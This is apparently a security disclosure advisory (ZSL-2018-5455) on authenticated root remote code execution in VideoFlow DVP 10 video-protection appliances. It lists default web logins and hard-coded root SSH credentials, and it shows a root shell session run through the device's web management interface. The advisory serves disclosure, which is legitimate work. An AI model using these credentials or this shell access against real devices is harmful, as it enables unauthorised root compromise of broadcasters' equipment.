VideoFlow Digital Video Protection DVP 10 Authenticated Root Remote Code Execution

Vendor: VideoFlow Ltd.
Product web page: http://www.video-flow.com
Affected version: 2.10 (X-Prototype-Version: 1.6.0.2)

System = Indicate if the DVP is configured as Protector, Sentinel or Fortress
Version = The Operating System SW version number
Image version = Production Image version

                  System: DVP Protector
                  Version: 1.40.0.15(R) May 5 2015 05:27:05
                  Image version: 3.07i

                  System: DVP Protector
                  Version: 1.40.0.15(R) May 5 2015 05:27:05
                  Image version: 2.08

                  System: DVP Fortress
                  Version: 2.10.0.5(R) Jan 7 2018 03:26:35
                  Image version: 3.07


Summary: VideoFlow's Digital Video Protection (DVP) product is used by
leading companies worldwide to boost the reliability of IP networks, including
the public Internet, for professional live broadcast. DVP enables broadcast
companies to confidently contribute and distribute live video over IP with
unprecedented levels of service continuity, at a fraction of the cost of
leased lines or satellite links. It accelerates ROI by reducing operational
costs and enabling new revenue streams across a wide variety of markets.

Desc: The affected device suffers from authenticated remote code execution
vulnerability. Including a CSRF, a remote attacker can exploit this issue
and execute arbitrary system commands granting her system access with root
privileges.

Tested on: CentOS release 5.6 (Final) (2.6.18-238.12.1.el5)
           CentOS release 5.10 (Final) (2.6.18-371.el5)
           ConfD


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5455
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5455.php

01.02.2018

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Default credentials (web management):

admin:admin
oper:oper
private:private
public:public
devel:devel


Hard-Coded credentials (ssh):

root:videoflow
mom:$1$CGgdGXXG$0FmyyKMzcHgkKnUTZi5r./


-------------------------------- > Tools > System > Shell > --------------------------------
|                                                                                          |
| sh-3.2# id;pwd;uname -a;ls                                                               |
| uid=0(root) gid=0(root)                                                                  |
| /dvp100/confd                                                                            |
| Linux localhost.localdomain 2.6.18-371.el5 #1 SMP Tue Oct 1 08:37:57 EDT 2013 i6         |
| 86 i686 i386 GNU/Linux                                                                   |
| aaa_cdb.fxs         ietf-inet-types.fxs        SNMP-USER-BASED-SM-MIB.fxs                |
| authorization.fxs   ietf-yang-types.fxs        SNMPv2-MIB.fxs                            |
| browser.log         IF-MIB.bin                 SNMPv2-SMI.fxs                            |
| community_init.xml  IF-MIB.fxs                 SNMPv2-TC.fxs                             |
| confd.conf          IPV6-TC.fxs                SNMP-VIEW-BASED-ACM-MIB.fxs               |
| config.web          Makefile                   TRANSPORT-ADDRESS-MIB.fxs                 |
| docroot             SNMP-COMMUNITY-MIB.fxs     users.fxs                                 |
| dvp.fxs             SNMP-FRAMEWORK-MIB.fxs     vacm_init.xml                             |
| dvp_init.xml        SNMP-MPD-MIB.fxs           webspec.dat                               |
| IANAifType-MIB.bin  SNMP-NOTIFICATION-MIB.fxs                                            |
| IANAifType-MIB.fxs  SNMP-TARGET-MIB.fxs                                                  |
| sh-3.2# cat /etc/issue                                                                   |
| CentOS release 5.10 (Final)                                                              |
| Kernel \r on an \m                                                                       |
|                                                                                          |
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